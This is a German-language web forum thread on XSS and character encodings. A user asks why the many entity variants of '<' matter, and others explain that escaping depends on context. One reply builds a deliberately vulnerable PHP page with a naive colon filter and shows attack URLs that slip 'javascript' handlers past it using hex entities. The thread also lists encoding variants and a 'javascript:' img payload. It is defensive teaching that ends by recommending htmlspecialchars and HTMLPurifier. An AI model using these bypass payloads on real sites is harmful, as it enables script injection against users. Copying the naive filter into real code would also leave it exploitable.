Web Encoding

Hallo,

ich habe eine Frage zum Web Enocding. Habe schon öfters gelesen, dass es z.B. mehrere Ersetzungszeichen für das Größerzeichen "<" gibt. Und das man das in Filtern beachten muss, um XSS-Angriffe zu verhindern.

&#60
&#060
&#0060
...
&lT;
&Lt;
&LT;


Ich habe hierbei ein allgemeines Verständisproblem. Serverseitig muss ich doch nur das Größerzeichen mit einem Unicodezeichen - z.B. < - ersetzten und habe damit XSS für dieses Zeichen verhindert.
Aber warum muss ich mehrere Encodings beachten. Mir fehlt hier irgendwie der Zusammenhang, wie durch die Mehrdeutigkeit ein Sicherheitsrisiko entsteht und wie das der Angreifer ausnutzen kann. Hoffe jemand kann mir helfen.
Danke im voraus.


Gruß
n0nam333
 
Achtung nur ein Beispiel!

Der Browser unterscheidet zwischen &lt und &LT und interpretiert die entsprechend.

Wenn du jetzt nur &lt filterst und durch irgendwas ersetzt erkennst du nicht &LT

entweder du filterst deine Usereingaben konsequent (sollte man immer tun) nach bestimmten regeln, d.h. du vernachlässigt groß/klein Schreibung und wandelst alles in kleinbuchstaben um (wird dir jeder user übel nehmen^^) oder du filterst mit vorgefertigten Funtkionen von zum Bsp php um html tags rauszufiltern. Das ganze machst du bei einer Usereingabe und bei der Ausgabe (so kannst du auf Nummer sicher gehen wenn du doch irgendwo ne Eingabe vergessen hast)
 
Danke für die schnelle Antwort.
Ich verstehe es aber immer noch nicht ganz. Habe mir eine einfache Webanwendung ohne Sicherung geschrieben.
Wenn ich jetzt als Benutzer ein "<h1>test</h1>" eingebe, dann wird test im Browser als h1 intrepetiert und es steht folgerichtig test da. Wenn ich jetzt <h1>test</h1> , dann wird im Browser <h1>test</h1> angezeigt. Wenn ich das richtig verstehe, dann sind Zeichen wie
< da, um das Kleiner-Zeichen darzustellen ohne, dass es der Browser als Sonderzeichen interpetiert. Aber wie kann ich mit diesen Ersetzungszeichen ein XSS-Attacke machen?
Sorry, wenn ich da irgendwas grundlegendes nicht verstehe.
 
Ok. Sorry, das habe ich etwas ungenau geschrieben. Mir geht es ja auch nur um den User Input. Mit "Habe mir eine einfache Webanwendung ohne Sicherung geschrieben.Wenn ich jetzt als Benutzer ein "<h1>test</h1>" eingebe, dann wird test im Browser als h1 intrepetiert und es steht folgerichtig test da. Wenn ich jetzt <h1>test</h1> , dann wird im Browser <h1>test</h1> angezeigt." habe ich den User-Input gemeint und nicht meinen Code.
Um jetzt zu ein "<" Zeichen zu verhindern, erstzte ich es durch eine sichere Repräsentierung wie z.B.
&#0060. Das habe ich verstanden. Aber was ich nicht verstehe, wieso es zu Sicherheitsproblemem kommt, wenn es so viele Repräsentierungen für "<" gibt. Es ist doch egal durch welche sichere Repräsentierung ich das "<" Zeichen ersetzte.
hier mal eine liste:
Entity Encoding
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
<
<
<
<
<
<
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
<
<
<
<
<
<
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
<
<
<
<
<
<
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
<
<
<
<
<
<
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
<
<
<
<
<
<
&lt
&lT
&Lt
&LT
<
&lT;
&Lt;
&LT;
...und noch viele mehr.

Denn egal welche Zeichen ich verwende, der Browser interpretiert es ja nicht als "<". Wie kann sich dann der Angreifer das zu nutzen machen?
 
Verwechselst du gerade URL Encoding mit HTML Encoding?

Code:
&x3c;   => HTML Encoding
%3c      => URL Encoding

Es ist auch ein Unterschied wo das Zeichen vorkommt

Code:
<div>&x3c;</div>  wird anders interpretiert als z.B. <img src=&x3c;... />

Hoffe das hilft weiter
 
Zuletzt bearbeitet:
OK. Danke, ja das hilft schon mal.


Habe, mich jetzt noch mal etwas schlau gemacht. Man muss immer schauen in welchen Kontext man sich befindet.
Um zu verhindern, dass man HTML einspeißt, muss man einfach das "<" Zeichen encoden durch eine sichere Repräsentierung ersetzten. Jetzt mal vereinfach gesagt.

Wenn man aber jetzt so etwas macht:

<img src=javascript":alert("XSS")>

equivalent zu

<IMG SRC=&#.106;&#.97;&#.118;&#.97;&#.115;&#.99;&#.114;&#.105;&#.112;&#.116;&#.58;&#.97;&#.108;&#.101;&#.114;&#.116;&#.40;
&#.39;&#.88;&#.83;&#.83;&#.39;&#.41;>
(Punkte habe ich nur für die Darstellung eingefügt)

dann werden die Zeichen anders behandelt. Aber wie?


Müssen hierbei jetzt alle Zeichen wie
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
...

beachtet werden (und blockiert werden.) ?
 
Zuletzt bearbeitet:
Oki ich versuche mal ein Beispiel zu geben.

Das ist die Testseite:
PHP:
<html>
<body>
<?php

function filter($str){
    return preg_replace('/:/', "#", $str);
}

if(isset($_GET['img_xss'])){
    echo "<img src=\"".filter($_GET['img_xss'])."\" />";
}
echo "\n";
?>
</body>
</html>
Die filter-Funktion ersetzt einfach alle ":"- zu "#"-Zeichen



Angreifer Versuch 1:
Code:
http://192.168.2.137:9000/test/index.php?img_xss=" onclick="javascript:alert(1)" />
Response:
Code:
<html>
<body>
<img src="" onclick="javascript#alert(1)" />" />
</body>
</html>
XSS FAIL



Angreifer Versuch 2:
Code:
html_encode(":") = &#.x3a;
url_encode(&#.x3a;) = %26%23%78%33%61%3b

=>
http://192.168.2.137:9000/test/index.php?img_xss=%22%20onclick=%22javascript%26%23x3a%3balert%281%29%22%20/%3E
Response:
Code:
<html>
<body>
<img src="" onclick="javascript&#.x3a;alert(1)" />" />
</body>
</html>
XSS SUCCESS



Jetzt passen wir unsere Testseite an
PHP:
<html>
<body>
<?php

function filter($str){
    return preg_replace('/(:|&#.x3a;)/', "#", $str); // <= filter update
}

if(isset($_GET['img_xss'])){
    echo "<img src=\"".filter($_GET['img_xss'])."\" />";
}
echo "\n";
?>
</body>
</html>



Der Angreifer kann jetzt aber z.B. das Ganze so umgehen:
Code:
url_encode(&#.x03a;) = %26%23%78%30%33%61%3b
=>
http://192.168.2.137:9000/test/index.php?img_xss=%22%20onclick=%22javascript%26%23x03a%3balert%281%29%22%20/%3E
Response
Code:
<html>
<body>
<img src="" onclick="javascript&#.x03a;alert(1)" />" />
</body>
</html>
XSS SUCCESS :P
usw...

Darum sollte man (wie schon weiter oben gesagt) Funktionen wie z.B. htmlspecialchars benutzen.
Um deine Frage zu beantworten... ja ^^
 
Zuletzt bearbeitet:
Danke für die Antwort! Hätte nicht so ausführlich sein müssen, aber ist echt eine sehr gute Antwort mit schönen Beispielen.
 
Danke für die Antwort! Hätte nicht so ausführlich sein müssen
Für Deine Frage finde ich es super wenn sich jemand die Mühe macht und es dann so verständlich erklärt! :thumb_up:

Ich kann nur immer auf HTMLPurifier verweisen. Sollte dein Problem am besten lösen, da es speziell gegegn XSS dient. Aber auch hier gibt es natürlcih Grenzen.
Beachte einfach simple dinge:
-alles was vom user kommt filtern und nicht vertrauen.
-wenn ein eintrag nur 5 stellig ist dann akzeptiere auch nur fünf stellen.
-wenn du einen (int) erwartest, dann nehme auch nur einen int entgegen
-versuche deine prüfalgoryhtmen zu konkretisieren und mache dir die Mühe


Alles kann man nicht verhindern, jedoch solte man den gesunden menschenverstand einsetzten und auch umsetzen. Denn die größte Schwachstelle ist immer noch der Programmierer.
 
Hallo,

habe gerade ein pdf von OWASP, das eine paar Encodings des Kleinerzeichens auflistet, gesehen.
Das ist z.B. folgendes aufgelistet.
%2526lt%253B -> 2x URL-Encode < -> HTML Entity -> <

Wann kommt das in der Realität zum Einsatz. Ein normaler Webserver encoded doch nur einmal oder?


Gruß
n0nam333
 
ja, aber wenn da leute rummurksen ohne ahnung zu haben, passierts wohl auch gerne das da mehrfach ohne sinn und verstand derartiges getan wird ...
 
Zurück
Oben